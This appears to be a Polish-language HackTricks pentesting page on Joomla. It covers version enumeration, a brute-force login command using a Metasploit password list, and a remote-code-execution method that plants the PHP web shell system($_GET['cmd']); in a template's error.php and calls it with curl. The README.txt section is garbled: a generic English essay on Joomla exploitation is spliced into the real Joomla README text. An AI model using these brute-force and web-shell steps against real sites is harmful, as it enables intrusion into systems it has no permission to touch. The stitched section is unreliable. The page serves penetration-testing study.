8.8 KiB
Joomla
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
- Pracujesz w firmie zajmującej się cyberbezpieczeństwem? Chcesz zobaczyć, jak Twoja firma jest reklamowana w HackTricks? A może chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź PLAN SUBSKRYPCJI!
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź mnie na Twitterze 🐦@carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium hacktricks i hacktricks-cloud.
Statystyki Joomla
Joomla zbiera pewne anonimowe statystyki użytkowania, takie jak podział wersji Joomla, PHP i baz danych oraz systemów operacyjnych serwera używanych w instalacjach Joomla. Dane te można zapytać za pomocą publicznego API.
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
Wyliczanie
Odkrywanie / Pozyskiwanie informacji
- Sprawdź meta
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
- robots.txt
Plik robots.txt jest plikiem tekstowym używanym przez witryny internetowe do komunikacji z robotami wyszukiwarek. Jest to zazwyczaj umieszczane w głównym katalogu witryny i zawiera instrukcje dla robotów wyszukiwarek dotyczące indeksowania i przeglądania strony. Plik robots.txt może zawierać polecenia, takie jak "User-agent", które określają, które roboty wyszukiwarek mają dostęp do witryny, oraz "Disallow", które określają, które części witryny nie powinny być indeksowane. Jest to przydatne narzędzie podczas testowania penetracyjnego, ponieważ może ujawnić informacje o ukrytych stronach lub katalogach, które nie powinny być publicznie dostępne.
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
- README.txt
Joomla
Joomla! is a popular open-source content management system (CMS) used to build websites and online applications. As a pentester, it is important to understand the vulnerabilities and security weaknesses that can be exploited in Joomla installations.
Enumeration
Version Detection
To determine the version of Joomla running on a target website, you can check the README.txt
file located in the root directory. This file often contains information about the Joomla version and other useful details.
Directory Enumeration
Performing directory enumeration can help identify potential attack vectors and hidden files or directories. Tools like dirb
or gobuster
can be used to brute-force directories and discover additional paths.
Exploitation
Known Vulnerabilities
Joomla has had several vulnerabilities in the past, so it is crucial to stay updated with the latest security advisories. Exploiting known vulnerabilities can provide unauthorized access to the Joomla installation or even compromise the underlying server.
SQL Injection
Joomla is not immune to SQL injection attacks. By injecting malicious SQL queries into vulnerable parameters, an attacker can manipulate the database and potentially gain unauthorized access to sensitive information.
File Inclusion
File inclusion vulnerabilities in Joomla can allow an attacker to include and execute arbitrary files on the server. This can lead to remote code execution and complete compromise of the target system.
Cross-Site Scripting (XSS)
Cross-Site Scripting vulnerabilities in Joomla can be exploited to inject malicious scripts into web pages viewed by users. This can lead to session hijacking, defacement, or the theft of sensitive information.
Privilege Escalation
Once access to a Joomla installation is gained, privilege escalation techniques can be used to elevate privileges and gain further control over the system. This may involve exploiting misconfigurations, weak file permissions, or other vulnerabilities.
Post-Exploitation
After compromising a Joomla installation, it is important to maintain access and perform post-exploitation activities. This may include creating backdoors, stealing data, or pivoting to other systems within the network.
Conclusion
Understanding the vulnerabilities and exploitation techniques related to Joomla is essential for conducting effective penetration testing. By identifying and exploiting weaknesses in Joomla installations, pentesters can help organizations improve their security posture and protect against potential attacks.
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
Wersja
- W /administrator/manifests/files/joomla.xml można zobaczyć wersję.
- W /language/en-GB/en-GB.xml można uzyskać wersję Joomla.
- W plugins/system/cache/cache.xml można zobaczyć przybliżoną wersję.
Automatyczne
droopescan scan joomla --url http://joomla-site.local/
W 80,443 - Metodologia testowania penetracyjnego aplikacji internetowych to sekcja o skanerach CMS, które mogą skanować Joomla.
Atak Brute-Force
Możesz użyć tego skryptu, aby spróbować przeprowadzić atak Brute-Force na logowanie.
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
RCE (Remote Code Execution)
Jeśli udało Ci się zdobyć dane logowania administratora, możesz uzyskać RCE (zdalne wykonanie kodu), dodając fragment kodu PHP, aby uzyskać RCE. Możemy to zrobić, dostosowując szablon.
- Kliknij na
Szablony
na dole po lewej stronie podKonfiguracja
, aby otworzyć menu szablonów. - Kliknij na nazwę szablonu. Wybierzmy
protostar
pod nagłówkiemSzablon
. Spowoduje to otwarcie stronySzablony: Dostosuj
. - Wreszcie, możesz kliknąć na stronę, aby otworzyć źródło strony. Wybierzmy stronę
error.php
. Dodamy jednolinijkowy kod PHP do zdalnego wykonania, jak poniżej: system($_GET['cmd']);
- Zapisz i zamknij
curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
- Czy pracujesz w firmie zajmującej się cyberbezpieczeństwem? Chcesz zobaczyć swoją firmę reklamowaną w HackTricks? A może chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź PLAN SUBSKRYPCYJNY!
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź mnie na Twitterze 🐦@carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium hacktricks i hacktricks-cloud.